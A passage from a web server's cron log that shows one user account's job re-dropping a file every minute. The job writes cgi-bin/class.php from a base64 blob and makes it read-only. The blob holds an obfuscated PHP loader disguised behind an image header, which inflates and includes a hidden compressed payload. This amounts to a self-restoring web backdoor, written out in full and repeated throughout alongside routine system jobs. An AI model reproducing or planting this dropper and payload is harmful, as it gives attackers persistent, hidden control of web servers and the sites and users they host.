&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:19:01 server CROND[22015]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:20:01 server CROND[22647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:20:01 server CROND[22649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:20:01 server CROND[22651]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 19:20:01 server CROND[22652]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:20:01 server CROND[22650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 19:21:01 server CROND[23535]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:22:01 server CROND[24383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:23:01 server CROND[25235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:24:01 server CROND[26066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:25:01 server CROND[27011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:25:01 server CROND[27014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:25:01 server CROND[27015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:26:01 server CROND[27911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:27:01 server CROND[28730]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 19:27:01 server CROND[28731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:28:01 server CROND[29568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:29:01 server CROND[30355]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:30:01 server CROND[31219]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 19:30:01 server CROND[31220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:30:01 server CROND[31221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:30:01 server CROND[31223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
